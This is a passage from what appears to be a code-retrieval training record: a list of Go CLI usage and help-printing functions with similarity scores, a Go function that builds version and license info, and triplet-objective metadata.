strings.Repeat(\" \", usageIndentation)) +\n\t\tstrings.Repeat(\" \", usageIndentation-1)\n}", "func Usage() {\n\tfmt.Fprintf(os.Stderr, \"Usage of %s:\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \"\\tsqlgen [flags] -type T [directory]\\n\")\n\tfmt.Fprintf(os.Stderr, \"\\tsqlgen [flags[ -type T files... # Must be a single package\\n\")\n\tfmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\tflag.PrintDefaults()\n}", "func (f Function) Usage() string {\n\t// Name1 ${VAR} ARG [OPT_ARG]\n\t// Name1 ${VAR} ARG [OPT_ARG]\n\t// Description\n\targline := \"\"\n\tif f.NeedsVariable {\n\t\targline = fmt.Sprintf(\" ${VAR}\")\n\t}\n\targc := 0\n\tif f.NumArgsMin > 0 {\n\t\tfor i := 0; i < f.NumArgsMin; i++ {\n\t\t\targline = fmt.Sprintf(\"%s ARG%d\", argline, argc)\n\t\t\targc++\n\t\t}\n\t}\n\tif f.NumArgsMax > f.NumArgsMin {\n\t\targline = fmt.Sprintf(\"%s [\", argline)\n\t\tfor i := 0; i < f.NumArgsMax-f.NumArgsMin; i++ {\n\t\t\targline = fmt.Sprintf(\"%s ARG%d\", argline, argc)\n\t\t\targc++\n\t\t}\n\t\targline = fmt.Sprintf(\"%s ]\", argline)\n\t}\n\n\tresult := \"\"\n\tfor i, name := range f.Names {\n\t\tif i > 0 {\n\t\t\tresult = fmt.Sprintf(\"%s\\n\", result)\n\t\t}\n\t\tresult = fmt.Sprintf(\"%s#! %s%s\", result, name, argline)\n\t}\n\tif len(f.Description) > 0 {\n\t\tif len(result) > 0 {\n\t\t\tresult = fmt.Sprintf(\"%s\\n\", result)\n\t\t}\n\t\tresult = fmt.Sprintf(\"%s%s\", result, f.Description)\n\t}\n\treturn result\n}", "func usage() {\n\tfmt.Printf(\"%s\\n\", usageStr)\n\tos.Exit(0)\n}", "func usage() {\n\tfmt.Printf(\"%s\\n\", usageStr)\n\tos.Exit(0)\n}", "func (cmd *Android) Usage() {\n\tdata := struct {\n\t\tName string\n\t\tDescription string\n\t}{\n\t\tName: cmd.Name(),\n\t\tDescription: cmd.Description(),\n\t}\n\n\ttemplate := `\nUsage: fyne-cross {{ .Name }} [options] [package]\n\n{{ .Description }}\n\nOptions:\n`\n\n\tprintUsage(template, data)\n\tflagSet.PrintDefaults()\n}", "func (o *Options) Usage() {\n\t_ = o.cmd.Flags().FlagUsages()\n}", "func usage() {\r\n\r\n\r\n\t// get only the file name from the absolute path in os.Args[0]\r\n\t_, file := filepath.Split(os.Args[0])\r\n\r\n fmt.Fprintf(os.Stderr, \"\\nBasic Usage: %s IP_Adderess:TCP_Port\\n\\n\", file )\r\n fmt.Fprintf(os.Stderr, \"Advanced Flag Usage: %s Flags:\\n\", file )\r\n flag.PrintDefaults()\r\n fmt.Fprintf(os.Stderr, \"\\n\")\r\n os.Exit(2)\r\n}", "func Usage() {\n\tfmt.Fprintf(os.Stderr, \"USAGE: golangselpg -sstart_page -eend_page [ -f | -llines_per_page ] [ -ddest ] [ in_filename ]\\n\")\n}", "func (b *Base) PrintUsage() {\n\tvar usageTemplate = `Usage: c14 {{.UsageLine}}\n\n{{.Help}}\n\n{{.Options}}\n{{.ExamplesHelp}}\n`\n\n\tt := template.New(\"full\")\n\ttemplate.Must(t.Parse(usageTemplate))\n\t_ = t.Execute(os.Stdout, b)\n}", "func wantGoUsage() {\n\tfmt.Fprintf(os.Stderr, `The WantGo service\nUsage:\n %s [globalflags] want-go COMMAND [flags]\n\nCOMMAND:\n get-simple-card-list: GetSimpleCardList implements getSimpleCardList.\n get-card-info: GetCardInfo implements getCardInfo.\n post-card-info: PostCardInfo implements postCardInfo.\n put-card-info: PutCardInfo implements putCardInfo.\n delete-card-info: DeleteCardInfo implements deleteCardInfo.\n\nAdditional help:\n %s want-go COMMAND --help\n`, os.Args[0], os.Args[0])\n}", "func setUsageFn(f *flag.FlagSet, u usageFn) {\n\tf.Usage = func() {\n\t\tfmt.Fprint(f.Output(), u(f.Name()))\n\t}\n}", "func (cmd *EnableCommand) Usage() string {\n\treturn EnableUsage\n}", "func (c *DialDeleteCommand) usage() {\n\tfmt.Println(`\nDelete an existing dial.\n\nUsage:\n\n\twtf dial delete DIAL_ID\n`[1:])\n}", "func PrintUsage() {\n\tfmt.Fprintln(os.Stdout, \"Usage: gitio [-code=] url\\nIf you will be use any code, set code flag\")\n}", "func printUsage() {\n\tfmt.Println(\"----------------------------------------------\")\n\tfmt.Println(\"Usage: Converts the .db file into a .sql file.\")\n\tfmt.Println(\"Usage Example: ./db_convert -file default.db\")\n}", "func flagUsage (){\n\tusageText := \"This program is an example cli tool \\n\" +\n\t\t\"Usage: \\n\" +\n\t\t\"ArgsSub command [arguments] \\n\" +\n\t\t\"The commands are \\n\" +\n\t\t\"uppercase uppercase a string \\n\" +\n\t\t\"lowercase lowercase a string \\n\" +\n\t\t\"use \\\"ArgsSubTest.txt [command] -- help \\\" for more information about a command \"\n\n\tfmt.Println(os.Stderr, \"%s \\n\", usageText)\n}", "func (Interface *LineInterface) PrintUsage() {\n\tfmt.Println(\"USAGE:\")\n\tfmt.Println(\" -> dev : go run main.go <OPTIONS>\")\n\tfmt.Println(\" -> build : ./go-block-chain <OPTIONS>\")\n\tfmt.Println(\" • getbalance -address ADDRESS - get balance for address.\")\n\tfmt.Println(\" • createblockchain -address ADDRESS - creates a blockchain.\")\n\tfmt.Println(\" • printchain - prints the blocks in the blockchain.\")\n\tfmt.Println(\" • send -from FROM -to TO -amount AMOUNT - send amount from an address to an address.\")\n\tfmt.Println(\" • createwallet - creates a new wallet.\")\n\tfmt.Println(\" • listaddresses - lists the addresses in our wallet file.\")\n}", "func (opt *Options) PrintUsage() {\n\tvar banner = ` _ __ ___ ___ _ __ ___ ___\n| '_ ' _ \\ / _ \\ '_ ' _ \\ / _ \\\n| | | | | | __/ | | | | | __/\n|_| |_| |_|\\___|_| |_| |_|\\___|\n\n`\n\tcolor.Green(banner)\n\tfmt.Println(\"\")\n\tflag.Usage()\n\tfmt.Println(\"\")\n\n\tfmt.Println(\" Templates\")\n\tfmt.Println(\"\")\n\tfor x, name := range ImageIds {\n\t\tif ((x + 1) % 2) == 0 {\n\t\t\tfmt.Fprintln(output.Stdout, color.CyanString(\"%s\", name))\n\t\t} else {\n\t\t\tfmt.Fprint(output.Stdout, color.CyanString(\" %-30s\", name))\n\t\t}\n\t}\n\n\tif len(ImageIds)%3 != 0 {\n\t\tfmt.Println(\"\")\n\t}\n\n\tfmt.Println(\"\")\n\n\tfmt.Println(\" Examples\")\n\tfmt.Println(\"\")\n\tcolor.Cyan(\" meme -i kirk-khan -t \\\"|khaaaan\\\"\")\n\tcolor.Cyan(\" meme -i brace-yourselves -t \\\"Brace yourselves|The memes are coming!\\\"\")\n\tcolor.Cyan(\" meme -i http://i.imgur.com/FsWetC0.jpg -t \\\"|China\\\"\")\n\tcolor.Cyan(\" meme -i ~/Pictures/face.png -t \\\"Hello\\\"\")\n\tfmt.Println(\"\")\n}", "func (a *Args) Usage() string {\n\tif len(a.schema) > 0 {\n\t\treturn fmt.Sprintf(\"[%s]\", a.schema)\n\t}\n\treturn \"\"\n}", "func usage() {\n\tfmt.Fprintf(os.Stderr, \"Usage of %s:\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \"\\tgryffin-distributed --storage=[memory,redis-url] [seed,crawl,fuzz-sqlmap,fuzz-arachni] [url] \\n\")\n\tfmt.Fprintf(os.Stderr, \"Flags:\\n\")\n\tflag.PrintDefaults()\n}", "func PrintCmdUsage(w io.Writer, toolName string, command Command) {\n\tbw := bufio.NewWriter(w)\n\n\tdata := struct {\n\t\tToolName string\n\t\tCmdUsageLine string\n\t}{\n\t\ttoolName,\n\t\tcommand.OptionInfo().UsageLine,\n\t}\n\n\tfgutil.RenderTemplate(bw, tplCmdUsage, data)\n\tbw.Flush()\n}", "func main() {\n\tflag.Var(&filenames, \"filename\", \"specified filename those you want to generate, if no filename be set, will parse all files under ($dir)\")\n\tflag.Parse()\n\n\texportDir, _ := filepath.Abs(*generateDir)\n\t*dir, _ = filepath.Abs(*dir)\n\tif *debug {\n\t\tlog.Println(\"fromDir:\", *dir)\n\t\tlog.Println(\"generateFilename:\", *generateFilename)\n\t\tlog.Println(\"exportDir:\", exportDir)\n\t}\n\n\t// set custom funcs\n\t// tools.SetCustomGenTagFunc(CustomGenerateTagFunc)\n\t// tools.SetCustomParseTagFunc(CustomParseTagFunc)\n\n\tif len(filenames) == 0 {\n\t\tfiles, _ := ioutil.ReadDir(*dir)\n\t\tfor _, file := range files {\n\t\t\tif file.IsDir() || !strings.HasSuffix(file.Name(), \".go\") {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfilenames = append(filenames, file.Name())\n\t\t}\n\t}\n\n\tcfg := &tools.UsageCfg{\n\t\tExportDir: exportDir,\n\t\tExportFilename: *generateFilename,\n\t\tExportPkgName: *generatePkgName,\n\t\tExportStructSuffix: *generateStructSuffix,\n\t\tModelImportPath: *modelImportPath,\n\t\tStructSuffix: *modelStructSuffix,\n\t\tDebug: *debug,\n\t\tFilenames: filenames,\n\t\tDir: *dir,\n\t}\n\n\tif *debug {\n\t\tlog.Println(\"following filenames will be parsed\", filenames)\n\t}\n\n\tif err := tools.ParseAndGenerate(cfg); err != nil {\n\t\tpanic(err)\n\t}\n\n\tprintln(\"done!\")\n}", "func printUsage() {\n\tfmt.Println(\"Usage: go-obedient-oatmeal filename.txt [number of band names]\")\n\tos.Exit(1)\n}", "func fooUsage() {\n\tfmt.Fprintf(os.Stderr, `Service is the foo service interface.\nUsage:\n %s [globalflags] foo COMMAND [flags]\n\nCOMMAND:\n foo1: Foo1 implements foo1.\n foo2: Foo2 implements foo2.\n foo3: Foo3 implements foo3.\n foo-options: FooOptions implements fooOptions.\n\nAdditional help:\n %s foo COMMAND --help\n`, os.Args[0], os.Args[0])\n}", "func (a *API) Usage(ctx context.Context, params UsageParams) (*UsageResult, error) {\n\tdate := \"\"\n\tif !params.Date.IsZero() {\n\t\tdate = params.Date.Format(\"02-01-2006\")\n\t}\n\tres := &UsageResult{}\n\t_, err := a.get(ctx, api.BuildPath(usage, date), params, res)\n\n\treturn res, err\n}", "func (this *config) Usage(name string) {\n\tname = strings.ToLower(strings.TrimSpace(name))\n\tparts := strings.Fields(name)\n\tif cmd, _ := this.GetCommand(parts); cmd != nil {\n\t\tthis.usageOne(cmd)\n\t} else {\n\t\tthis.usageAll()\n\t}\n}", "func (c *Config) Usage(width uint) string {\n\tif width < minUsageWidth {\n\t\twidth = minUsageWidth\n\t}\n\n\tsections := []string{}\n\n\tif c.name != \"\" {\n\t\tsections = append(sections, restrictWidthByWords(c.name, int(width)))\n\t}\n\n\tif c.description != \"\" {\n\t\tparagraphs := strings.Split(c.description, \"\\n\")\n\t\tformattedParagraphs := []string{}\n\t\tfor _, p := range paragraphs {\n\t\t\tformattedParagraphs = append(\n\t\t\t\tformattedParagraphs,\n\t\t\t\trestrictWidthByWords(p, int(width)),\n\t\t\t)\n\t\t}\n\t\tsections = append(sections, strings.Join(formattedParagraphs, \"\\n\"))\n\t}\n\n\tkeys, keysWidth := formatFieldKeys(c.fields, c.fieldKeysInOrder)\n\n\tdescriptions := []string{}\n\tfor _, k := range c.fieldKeysInOrder {\n\t\tdescriptions = append(descriptions, c.fields[k].description)\n\t}\n\n\tvar combinedArgInfo []string\n\tif int(width)-keysWidth-keyToDescriptionSpacing > minUsageWidth {\n\t\tcombinedArgInfo = formatArgsSideBySide(\n\t\t\tkeys,\n\t\t\tdescriptions,\n\t\t\tkeysWidth,\n\t\t\tint(width)-keysWidth-keyToDescriptionSpacing,\n\t\t)\n\t} else {\n\t\tcombinedArgInfo = formatArgsVertical(keys, descriptions, int(width))\n\t}\n\tsections = append(sections, combinedArgInfo...)\n\n\treturn strings.Join(sections, \"\\n\\n\")\n}", "func usage(cliName string) string {\n\treturn \"Interpreter for TriggerMesh's Integration Language.\\n\" +\n\t\t\"\\n\" +\n\t\t\"USAGE:\\n\" +\n\t\t\" \" + cliName + \" <command>\\n\" +\n\t\t\"\\n\" +\n\t\t\"COMMANDS:\\n\" +\n\t\t\" \" + cmdGenerate + \" Generate Kubernetes manifests for deploying a Bridge.\\n\" +\n\t\t\" \" + cmdValidate + \" Validate a Bridge description.\\n\" +\n\t\t\" \" + cmdGraph + \" Represent a Bridge as a directed graph in DOT format.\\n\"\n}", "func CommonUsage(cmd *cobra.Command) error {\n\tfmt.Printf(`usage: gost %s\n\n`,\n\t\tcmd.Use)\n\treturn nil\n}", "func usage(flags *flag.FlagSet) func() {\n\treturn func() {\n\n\t\tusagePrefix := `\ndb [flags] command\n\t`\n\n\t\tusageCommands := `\nCommands:\n up \tMigrate the DB to the most recent version available\n up-by-one \tMigrate the DB up by 1\n up-to VERSION \tMigrate the DB to a specific VERSION\n down \tRoll back the version by 1\n down-to VERSION \tRoll back to a specific VERSION\n redo \tRe-run the latest migration\n reset \tRoll back all migrations\n status \tDump the migration status for the current DB\n version \tPrint the current version of the database\n create NAME [sql|go] \tCreates new migration file with the current timestamp\n fix \tApply sequential ordering to migrations\n\t`\n\t\tfmt.Println(usagePrefix)\n\t\tfmt.Println(\"Flags:\")\n\t\tflags.PrintDefaults()\n\t\tfmt.Println(usageCommands)\n\t}\n}", "func MainUsageTemplate() string {\n\treturn `Available Commands:{{range .Commands}}{{if (or .IsAvailableCommand (eq .Name \"help\"))}}\n {{rpad .Name .NamePadding }} {{prepare .Short}}{{end}}{{end}}\n\nUse \"{{ProgramName}} <command> --help\" for more information about a given command.\nUse \"{{ProgramName}} options\" for a list of global command-line options (applies to all commands).\n`\n}", "func Gen(c *cli.Context) error {\n\targs := domain.GenArgs{\n\t\tTargets: []string(c.Args()),\n\t\tFileWriter: registry.NewFileWriter(),\n\t}\n\terr := usecase.Gen(args)\n\tif err == nil {\n\t\treturn nil\n\t}\n\treturn cli.NewExitError(err.Error(), 1)\n}", "func getUsage(definitions []fieldDefinition) string {\n\tbuf := new(bytes.Buffer)\n\n\tvar flagLines []string\n\tvar envLines []string\n\n\tflagMaxlen := 0\n\tenvMaxlen := 0\n\n\tfor _, definition := range definitions {\n\t\t// Default value hint\n\t\tdef := \"\"\n\t\tif definition.hasDefault {\n\t\t\tif definition.field.Type().Name() == \"string\" {\n\t\t\t\tdef += fmt.Sprintf(\" (default %q)\", definition.defaultValue)\n\t\t\t} else {\n\t\t\t\tdef += fmt.Sprintf(\" (default %s)\", definition.defaultValue)\n\t\t\t}\n\t\t}\n\n\t\tif definition.hasFlag {\n\t\t\tline := \"\"\n\n\t\t\tline = fmt.Sprintf(\" --%s\", definition.flagAlias)\n\n\t\t\t// Make an educated guess about the flag\n\t\t\t// TODO: check pflag UnquoteUsage\n\t\t\tname := definition.field.Type().Name()\n\t\t\tswitch name {\n\t\t\tcase \"bool\":\n\t\t\t\tname = \"\"\n\t\t\tcase \"float64\":\n\t\t\t\tname = \"float\"\n\t\t\tcase \"int64\":\n\t\t\t\tname = \"int\"\n\t\t\tcase \"uint64\":\n\t\t\t\tname = \"uint\"\n\t\t\t}\n\n\t\t\tif name != \"\" {\n\t\t\t\tline += \" \" + name\n\t\t\t}\n\n\t\t\t// This special character will be replaced with spacing once the\n\t\t\t// correct alignment is calculated\n\t\t\tline += \"\\x00\"\n\t\t\tif len(line) > flagMaxlen {\n\t\t\t\tflagMaxlen = len(line)\n\t\t\t}\n\n\t\t\tline += definition.usage\n\t\t\tline += def\n\n\t\t\tflagLines = append(flagLines, line)\n\t\t}\n\n\t\tif definition.hasEnv {\n\t\t\tline := \"\"\n\n\t\t\tline = fmt.Sprintf(\" %s\", c.mergeWithEnvPrefix(definition.envAlias))\n\n\t\t\tname := definition.field.Type().Name()\n\t\t\tswitch name {\n\t\t\tcase \"float64\":\n\t\t\t\tname = \"float\"\n\t\t\tcase \"int64\":\n\t\t\t\tname = \"int\"\n\t\t\tcase \"uint64\":\n\t\t\t\tname = \"uint\"\n\t\t\t}\n\n\t\t\tif name != \"\" {\n\t\t\t\tline += \" \" + name\n\t\t\t}\n\n\t\t\t// This special character will be replaced with spacing once the\n\t\t\t// correct alignment is calculated\n\t\t\tline += \"\\x00\"\n\t\t\tif len(line) > envMaxlen {\n\t\t\t\tenvMaxlen = len(line)\n\t\t\t}\n\n\t\t\tline += definition.usage\n\t\t\tline += def\n\n\t\t\tenvLines = append(envLines, line)\n\t\t}\n\t}\n\n\tif len(flagLines) > 0 {\n\t\tfmt.Fprintln(buf, \"\\n\\nFLAGS:\\n\")\n\n\t\tfor _, line := range flagLines {\n\t\t\tsidx := strings.Index(line, \"\\x00\")\n\t\t\tspacing := strings.Repeat(\" \", flagMaxlen-sidx)\n\t\t\t// maxlen + 2 comes from + 1 for the \\x00 and + 1 for the (deliberate) off-by-one in maxlen-sidx\n\t\t\tfmt.Fprintln(buf, line[:sidx], spacing, line[sidx+1:])\n\t\t}\n\t}\n\n\tif len(envLines) > 0 {\n\t\tfmt.Fprintln(buf, \"\\n\\nENVIRONMENT VARIABLES:\\n\")\n\n\t\tfor _, line := range envLines {\n\t\t\tsidx := strings.Index(line, \"\\x00\")\n\t\t\tspacing := strings.Repeat(\" \", envMaxlen-sidx)\n\t\t\t// maxlen + 2 comes from + 1 for the \\x00 and + 1 for the (deliberate) off-by-one in maxlen-sidx\n\t\t\tfmt.Fprintln(buf, line[:sidx], spacing, line[sidx+1:])\n\t\t}\n\t}\n\n\treturn buf.String()\n}", "func usage() {\n\tvar b bytes.Buffer\n\tflag.CommandLine.SetOutput(&b)\n\tflag.PrintDefaults()\n\tlog.Fatalf(\"Usage: cpu [options] host [shell command]:\\n%v\", b.String())\n}", "func usageMessage() {\n\tfmt.Printf(\"Help for %s\\n\", GetVersionString())\n\tfmt.Println(\" --Help Prints this help message.\")\n\tfmt.Println(\" --Version Prints the version number of this utility.\")\n\tfmt.Println(\" --Licence Prints the copyright licence this utility is release under.\")\n\tfmt.Println(\" --Problem <number> Specifies problem ID to evaluate.\")\n\tfmt.Println(\" --AllProblems Evaluates all problems for which there is code (overrides --Problem)\")\n\tfmt.Println(\" --Concurrent Sovlves problems concurrently (instead of the sequential default)\")\n\tos.Exit(0)\n}", "func usageCommon(w io.Writer, line int) {\n\toutputPara(w, line, 0, usageCommonPara)\n}", "func (c *SetPCControl) Usage() string {\n\treturn \"<serial number> <enabled>\"\n}", "func usageCmd(args []string) error {\n\tswitch len(args) {\n\tcase 1:\n\t\t// gonzoctl help COMMAND\n\t\tvar (\n\t\t\tcmd = args[0]\n\t\t\tcu = commandUsage[cmd]\n\t\t)\n\t\tif cu != nil {\n\t\t\treturn cu()\n\t\t}\n\t\treturn errors.New(\"unrecognized command: \" + cmd)\n\tdefault:\n\t\tusage()\n\t}\n\treturn nil\n}", "func printProgUsage() {\n\tfmt.Printf(\"\\nUsage:\\n\")\n\tfmt.Printf(\" %s -inputOSM=filename -outputNodes=filename -startNode=number\\n\", progName)\n\tfmt.Printf(\"\\nExample:\\n\")\n\tfmt.Printf(\" %s -inputOSM=osmdata.pbf -outputNodes=osmpp.xml -startNode=1000000000000\\n\", progName)\n\tfmt.Printf(\"\\nOptions:\\n\")\n\tflag.PrintDefaults()\n\n\tos.Exit(1)\n}", "func usageValidate(cmd string) string {\n\treturn \"Verifies that a Bridge is syntactically valid and can be generated. \" +\n\t\t\"Returns with an exit code of 0 in case of success, with an exit code of 1 \" +\n\t\t\"otherwise.\\n\" +\n\t\t\"\\n\" +\n\t\t\"USAGE:\\n\" +\n\t\t\" \" + cmd + \" FILE\\n\"\n}", "func (p *Parser) GenerateHelp() string {\n\tvar result bytes.Buffer\n\tif p.cfg.Usage != \"\" {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s\\n\", p.cfg.Usage))\n\t} else {\n\t\tresult.WriteString(fmt.Sprintf(\"Usage: %s %s %s\\n\", p.cfg.Name,\n\t\t\tp.generateUsage(isOption),\n\t\t\tp.generateUsage(isArgument)))\n\t}\n\n\tif p.cfg.Desc != \"\" {\n\t\tresult.WriteString(\"\\n\")\n\t\tresult.WriteString(WordWrap(p.cfg.Desc, 0, p.cfg.WordWrap))\n\t\tresult.WriteString(\"\\n\")\n\t}\n\n\tcommands := p.generateHelpSection(isCommand)\n\tif commands != \"\" {\n\t\tresult.WriteString(\"\\nCommands:\\n\")\n\t\tresult.WriteString(commands)\n\t}\n\n\targument := p.generateHelpSection(isArgument)\n\tif argument != \"\" {\n\t\tresult.WriteString(\"\\nArguments:\\n\")\n\t\tresult.WriteString(argument)\n\t}\n\n\toptions := p.generateHelpSection(isOption)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nOptions:\\n\")\n\t\tresult.WriteString(options)\n\t}\n\n\tenvVars := p.generateHelpSection(isEnvVar)\n\tif options != \"\" {\n\t\tresult.WriteString(\"\\nEnvironment Variables:\\n\")\n\t\tresult.WriteString(envVars)\n\t}\n\n\tif p.cfg.Epilog != \"\" {\n\t\tresult.WriteString(\"\\n\" + WordWrap(p.cfg.Epilog, 0, p.cfg.WordWrap))\n\t}\n\treturn result.String()\n}", "func UsageCommands() string {\n\treturn `organization (list|show|add|remove|update)\nstep (list|add|remove|update)\nwalkthrough (list|show|add|remove|update|rename|publish)\n`\n}", "func usage() {\n\tlog.Printf(\"Usage: nats-req [-s server] [-creds file] <subject> <msg>\\n\")\n\tflag.PrintDefaults()\n}", "func MainUsageTemplate() string {\n\tsections := []string{\n\t\t\"\\n\\n\",\n\t\tSectionVars,\n\t\tSectionAliases,\n\t\tSectionExamples,\n\t\tSectionSubcommands,\n\t\tSectionFlags,\n\t\tSectionUsage,\n\t\tSectionTipsHelp,\n\t\tSectionTipsGlobalOptions,\n\t}\n\treturn strings.TrimRightFunc(strings.Join(sections, \"\"), unicode.IsSpace)\n}", "func HumanizeUsage(usage string) string {\n\treturn HumanizeUsageRegex.ReplaceAllString(usage, \"$1$2$3$4\")\n}", "func usage() {\n\tdoc := heredoc.Doc(`\n\t\tExample:\n\t\t./koro docker <name> address add 127.0.0.3/24 dev lo\n\t`)\n\tfmt.Print(doc)\n}", "func genCompletion() {\n\tinfo := genUsage()\n\n\tswitch options.GetS(OPT_COMPLETION) {\n\tcase \"bash\":\n\t\tfmt.Printf(bash.Generate(info, \"shdoc\"))\n\tcase \"fish\":\n\t\tfmt.Printf(fish.Generate(info, \"shdoc\"))\n\tcase \"zsh\":\n\t\tfmt.Printf(zsh.Generate(info, optMap, \"shdoc\"))\n\tdefault:\n\t\tos.Exit(1)\n\t}\n\n\tos.Exit(0)\n}", "func usage() {\n\tlog.Printf(\"Usage: stt_consumer [-nats server] [-sub subject] [-t]\\n\")\n\tflag.PrintDefaults()\n}", "func NewUsage(req *api.Request) (*Usage, error) {\n\th, err := newRequestHandler(req)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &Usage{handler: h}, nil\n}", "func Usage(cmd *Command) error {\n\tif cmd == nil {\n\t\tapplicationUsage()\n\t} else {\n\t\terr := commandUsage(cmd)\n\t\tif err != nil {\n\t\t\terrPrintln(err)\n\t\t}\n\t}\n\terrPrintln()\n\treturn nil\n}", "func organizationUsage() {\n\tfmt.Fprintf(os.Stderr, `The Organization service makes it possible to view, add or remove Organizations.\nUsage:\n %s [globalflags] organization COMMAND [flags]\n\nCOMMAND:\n list: List all stored Organizations\n show: Show Organization by ID\n add: Add new bottle and return its ID.\n remove: Remove Organization from storage\n update: Update organization with the given IDs.\n\nAdditional help:\n %s organization COMMAND --help\n`, os.Args[0], os.Args[0])\n}", "func (htmltox *HTMLToX) Usage(response http.ResponseWriter, request *http.Request) {\n\theaders := make(map[string]string)\n\tcontent, err := ioutil.ReadFile(\"/go/src/github.com/mkenney/docker-htmltox/app/usage.html\")\n\tif err != nil {\n\t\tlog.Error(err)\n\t\thtmltox.API.RespondWithErrorBody(\n\t\t\trequest,\n\t\t\tresponse,\n\t\t\t500,\n\t\t\tfmt.Sprintf(\"%s\", err),\n\t\t\theaders,\n\t\t)\n\t} else {\n\t\thtmltox.API.RespondWithRawBody(\n\t\t\trequest,\n\t\t\tresponse,\n\t\t\t200,\n\t\t\tstring(content),\n\t\t\theaders,\n\t\t)\n\t}\n}", "func (c *CmdGitMdget) GetUsage() libkb.Usage {\n\treturn libkb.Usage{\n\t\tConfig: true,\n\t\tKbKeyring: true,\n\t\tAPI: true,\n\t}\n}", "func UsageCommands() string {\n\treturn `want-go (get-simple-card-list|get-card-info|post-card-info|put-card-info|delete-card-info)\n`\n}", "func ShowUsage() {\n\tfmt.Fprintf(os.Stderr, \"usage: %s TYPE\\n\\n\", os.Args[0])\n\tfmt.Fprintf(os.Stderr, \"where TYPE := { deploy | add | get | remove | kill } COMMAND\\n\")\n\n\tos.Exit(1)\n}", "func usage() {\n\tfmt.Fprintf(os.Stderr,\n\t\t\"%s ver %s\\n\\n\"+\n\t\t\t\"Usage: %s [flags] <local-address:port> [<remote-address:port>]+\\n\\n\"+\n\t\t\t\"flags:\\n\\n\",\n\t\tme, version, me)\n\tflag.PrintDefaults()\n\tfmt.Fprintf(os.Stderr, \"\\n\")\n}", "func usage() {\n\tprintUsage(os.Stderr)\n\tos.Exit(1)\n}", "func usage() {\n\tfmt.Fprintln(os.Stderr)\n\tfmt.Fprintln(os.Stderr, `Runs a HTTP API Endpoint for testing a Docker Logging Plugin that sends data to an HTTP API endpoint`)\n\tfmt.Fprintln(os.Stderr)\n\tfmt.Fprintln(os.Stderr, `Syntax: http_api_endpoint [options]`)\n\tfmt.Fprintln(os.Stderr)\n\tfmt.Fprintln(os.Stderr, `Options:`)\n\tflag.PrintDefaults()\n\tfmt.Fprintln(os.Stderr)\n}", "func usage() {\n\tfor _, key := range commandKeys {\n\t\tfmt.Printf(\"%v\\n\", commands[key])\n\t}\n\n}", "func usage() {\n\tfor _, key := range commandKeys {\n\t\tfmt.Printf(\"%v\\n\", commands[key])\n\t}\n\n}", "func (s *Shell) WriteUsage(w io.Writer) error {\n\tfuncMap := template.FuncMap{\n\t\t\"join\": strings.Join,\n\t\t\"indent\": indent,\n\t\t\"nindent\": nindent,\n\t\t\"trim\": strings.TrimSpace,\n\t}\n\tt := template.Must(template.New(\"help\").Funcs(funcMap).Parse(defaultHelpTemplate))\n\treturn t.Execute(w, s)\n}", "func usage() {\n fmt.Printf(\"Usage of %s:\\n\", os.Args[0])\n fmt.Println(\" [-unsafe] inputfile outfile search-string replace-string\")\n fmt.Println(\"\\nAvailable options:\")\n flag.PrintDefaults()\n fmt.Printf(\"\\nThe -unsafe flag can increase performance. The performance gain is, however, marginal\\n\")\n fmt.Println(\"and is generally not worth the added risks, hence the name: unsafe\")\n}", "func (c *Command) Usage() {\n\ttool.TmplTextParseAndOutput(cmdUsage, c)\n\tos.Exit(2)\n}", "func (p *proxyShorter) Gen(url string, shorten ...string) (string, error) {\n\t// TODO: implement\n\treturn \"\", errors.New(\"unimplemented\")\n}" ]
[ "0.79965514", "0.78128314", "0.7793384", "0.7136047", "0.7110214", "0.7013749", "0.64894265", "0.6456141", "0.635502", "0.62977207", "0.62948483", "0.6276718", "0.6258758", "0.6257365", "0.625348", "0.6252613", "0.62342244", "0.6221245", "0.6178919", "0.61595225", "0.6082342", "0.60634476", "0.6055572", "0.6041648", "0.60363895", "0.6025158", "0.60199434", "0.60009336", "0.59958255", "0.5991023", "0.5989587", "0.59859824", "0.5966082", "0.5963114", "0.59345114", "0.5924134", "0.59198844", "0.5909308", "0.5899218", "0.5899218", "0.58825755", "0.58756626", "0.5836355", "0.5830518", "0.5816286", "0.5810313", "0.57997286", "0.5794972", "0.57898074", "0.57826936", "0.57717484", "0.57658255", "0.5745515", "0.57348645", "0.57263064", "0.5725243", "0.571964", "0.56815195", "0.56722534", "0.56642663", "0.56625277", "0.56577086", "0.5655953", "0.56497866", "0.5648879", "0.5648725", "0.564474", "0.5626219", "0.56262046", "0.56075376", "0.5606487", "0.56003535", "0.5572851", "0.55698866", "0.55543286", "0.55454606", "0.55433923", "0.55394447", "0.5534184", "0.553254", "0.55205965", "0.5499624", "0.5499283", "0.54934514", "0.54913443", "0.5480985", "0.54800886", "0.54773253", "0.5452545", "0.5449961", "0.54499465", "0.5446713", "0.5445925", "0.54314977", "0.54288834", "0.54288834", "0.5424995", "0.5423991", "0.5422681", "0.54175216" ]
0.7992258
1
genAbout generates info about version
func genAbout(gitRev string) *usage.About { about := &usage.About{ App: APP, Version: VER, Desc: DESC, Year: 2006, Owner: "ESSENTIAL KAOS", License: "Apache License, Version 2.0 <https://www.apache.org/licenses/LICENSE-2.0>", AppNameColorTag: "{*}" + colorTagApp, VersionColorTag: colorTagVer, } if gitRev != "" { about.Build = "git:" + gitRev } return about }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
